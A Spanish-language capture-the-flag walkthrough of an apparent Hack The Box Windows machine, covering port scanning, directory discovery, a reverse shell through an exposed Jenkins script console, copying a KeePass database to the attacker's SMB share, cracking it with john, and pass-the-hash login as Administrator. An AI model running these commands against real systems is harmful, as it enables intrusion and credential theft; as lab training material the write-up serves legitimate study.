
Contenido
Reconocimiento
Primero que todo vamos a realzar un escaneo con Nmap para ver los puertos abiertos
❯ nmap -p- --open -sS -min-rate 5000 -vvv -n -Pn -oG allPorts 10.10.10.63
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-16 23:21 CEST
Initiating SYN Stealth Scan at 23:21
Scanning 10.10.10.63 [65535 ports]
Discovered open port 80/tcp on 10.10.10.63
Discovered open port 135/tcp on 10.10.10.63
Discovered open port 445/tcp on 10.10.10.63
Discovered open port 50000/tcp on 10.10.10.63
Completed SYN Stealth Scan at 23:22, 39.53s elapsed (65535 total ports)
Nmap scan report for 10.10.10.63
Host is up, received user-set (0.042s latency).
Scanned at 2023-10-16 23:21:58 CEST for 39s
Not shown: 65531 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
50000/tcp open ibm-db2 syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 39.63 seconds
Raw packets sent: 196628 (8.652MB) | Rcvd: 36 (2.040KB)
Podemos ver que el puerto 80 esta abierto, por lo que vamos a revisar la pagina web

Podemos probar a buscar algo, pero si nos fijamos en el código de la pagina, no mandara ninguna peticion, solo te saldrá una foto de un error

Por lo que podemos ver no hay mucho mas es esta pagina, pero si nos fijamos en el escaneo de Nmap veremos que el puerto 5000 esta abierto, así que vamos a echar un vistazo

Si entramos nos salta un error, aunque tenemos la version que usa podemos antes hacer un descubrimiento de directorios con feroxbuster (si usas una lista mas pequeña que esta no te saldrá el directorio)
❯ feroxbuster -u http://10.10.10.63:50000 -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.3.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.10.63:50000
🚀 Threads │ 50
📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.3.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
302 0l 0w 0c http://10.10.10.63:50000/askjeeves
302 0l 0w 0c http://10.10.10.63:50000/askjeeves/about
302 0l 0w 0c http://10.10.10.63:50000/askjeeves/search
302 0l 0w 0c http://10.10.10.63:50000/askjeeves/security
302 0l 0w 0c http://10.10.10.63:50000/askjeeves/projects
302 0l 0w 0c http://10.10.10.63:50000/askjeeves/people
302 0l 0w 0c http://10.10.10.63:50000/askjeeves/version
302 0l 0w 0c http://10.10.10.63:50000/askjeeves/assets
200 0l 0w 0c http://10.10.10.63:50000/askjeeves/about/index
Explotación de Jenkins
Viendo que tenemos un /askjeeves podemos entrar y ver un entorno de administración, en el cual tenemos un apartado para ejecutar comandos con propósitos de debugging

Dentro de esta consola podemos probar a entablarnos una reverse shell, de esta manera, primero vamos a donde tenemos el netcat.exe en nuestro equipo, una vez allí levantamos un servidor SMB
smbserver.py smbFolder $(pwd) -smb2sup
Con este servidor creado nos ponemos en escucha con netcat
nc -nlvp 4444
Ahora tenemos que conseguir ejecutar comandos, pero esta consola solo ejecuta código Groovy, después de buscar como ejecutar comandos de shell en este lenguaje me encontré esta manera

Vale, con esto preparado podemos ejecutar este comando para entablarnos la reverse shell

Si vemos la terminal donde estabamos en escucha, tendremos la reverse shell

Ahora podemos ir al escritorio del usuario Kohsuke y visualizar la flag

Escalada de privilegios
Vale, ahora a por la root, para escalar privilegios podremos encontrar un archivo .kdbx en la carpeta Documentos del usuario Kohsuke, esta extension se usa para los archivos de contraseñas de KeePass

Este tipo de archivos contienen las contraseñas, pero para acceder a estas hay que introducir una contraseña, viendo esto podemos probar a hacer fuerza bruta, a ver si averiguamos la contraseña, para esto lo primero sera pasarnos el archivo a nuestro equipo de esta manera (teniendo el servidor SBM activo)
copy CEH.kdbx \\10.10.14.7\smbFolder\CEH.kdbx
Ahora que tenemos el archivo podemos usar la herramienta keepass2john para conseguir un hash el cual vamos a deshashear con john
❯ keepass2john CEH.kdbx
$keepass$*2*6000*0*1af405cc00f979ddb9bb387c4594fcea2fd01a6a0757c000e1873f3c71941d3d*3869fe357ff2d7db1555cc668d1d606b1dfaf02b9dba2621cbe9ecb63c7a4091*393c97beafd8a820db9142a6a94f03f6*b73766b61e656351c3aca0282f1617511031f0156089b6c5647de4671972fcff*cb409dbc0fa660fcffa4f1cc89f728b68254db431a21ec33298b612fe647db48
Creamos un archivo llamado hash el cual contenga el output de anterior comando, y usamos john con el rockyou.txt para la fuerza bruta
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Con la contraseña ahora podemos entrar en el archivo

Podemos probar una a una con Crackmapexec si las contraseñas son correctas, y veremos que no hay ninguna correcta
crackmapexec smb 10.10.10.63 -u 'Administrator' -p '1234'
Pero si nos fijamos en la primera veremos que parece ser un hash, probamos a meter el hash en el Crackmapexec

Vemos que nos pone el Pwn3d! por lo que el hash es correcto!, ahora podemos probar a conectarnos a la maquina con este hash haciendo uso de la herramienta Psexec

Ahora podemos ir tranquilamente a por la root.txt…

Bueno… la flag esta algo mas escondida, pero no mucho, si hacermos un descubrimiento de directorios ocultos veremos la flag

Para leerla seria simplemente:
more < hm.txt:root.txt